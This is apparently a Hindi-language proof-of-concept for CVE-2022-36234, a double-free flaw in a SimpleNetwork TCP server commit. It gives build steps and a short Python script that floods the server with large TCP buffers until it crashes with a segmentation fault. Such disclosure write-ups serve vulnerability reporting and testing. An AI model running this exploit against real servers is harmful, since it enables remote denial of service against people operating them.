
CVE-2022-36234 के लिए प्रूफ ऑफ कॉन्सेप्ट
SimpleNetwork TCP सर्वर कमिट 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 में एक डबल फ्री भेद्यता पाई गई जिसका शोषण तैयार किए गए TCP पैकेटों के माध्यम से किया जाता है। डबल फ्री को ट्रिगर करने से क्लाइंट किसी भी SimpleNetwork TCP सर्वर को दूरस्थ रूप से क्रैश कर सकते हैं। अन्य स्थितियों में, डबल फ्री भेद्यताएं अनिर्धारित व्यवहार और सही परिस्थितियों में संभावित कोड निष्पादन का कारण बन सकती हैं।
लाइब्रेरी को संकलित करने के लिए आवश्यक मानक बिल्ड उपकरणों की उपलब्धता सुनिश्चित करने के लिए, निम्नलिखित पैकेज स्थापित करें (अधिकांश सिस्टम पर ये पहले से स्थापित होंगे):
sudo apt-get install build-essential git
भेद्यता को TCP पैकेट में वर्णों के एक बड़े बफर वाले सर्वर को लगातार अनुरोध भेजकर पुनरुत्पादित किया जा सकता है। पहले, स्रोत कोड में प्रदान की गई 'libSimpleNetwork' लाइब्रेरी और उदाहरण सर्वर को संकलित करें:
git clone https://github.com/kashimAstro/SimpleNetwork.git
cd SimpleNetwork
git checkout 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496
cd src
make
cd ../example-server
make
./server 80 1
import socket
host = "localhost"
port = 80 # The same port as used by the server
buf = b'A'*10000
try:
for i in range(50):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
python3 poc.py
यदि सफल होता है, तो सर्वर क्रैश हो जाएगा और आपको एप्लिकेशन से निम्नलिखित आउटपुट दिखाई देगा:
segmentation fault ./server 80 1